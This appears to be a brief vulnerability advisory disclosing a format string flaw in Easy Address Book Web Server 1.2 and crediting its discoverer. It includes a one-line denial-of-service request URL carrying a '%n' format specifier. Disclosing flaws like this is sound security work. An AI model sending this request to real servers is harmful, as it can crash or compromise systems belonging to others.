Easy Address Book Web Server Format String Vulnerability=0D
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Software: Easy Address Book Web Server=0D
Version: 1.2=0D
Website: http://www.efssoft.com/=0D 
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Description:=0D
Easy Address Book Web Server is a Web Address Book software that allows users to view, search, add, edit, or administer address books easily through a Web Browser.=0D
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Vulnerability:=0D
By sending a specially crafted HTTP request, a remote attacker can crash or compromise the server.=0D
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Denial of Service example:=0D
http://[host]/?%25n=0D 
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Credit:=0D
Discovered by Revnic Vasile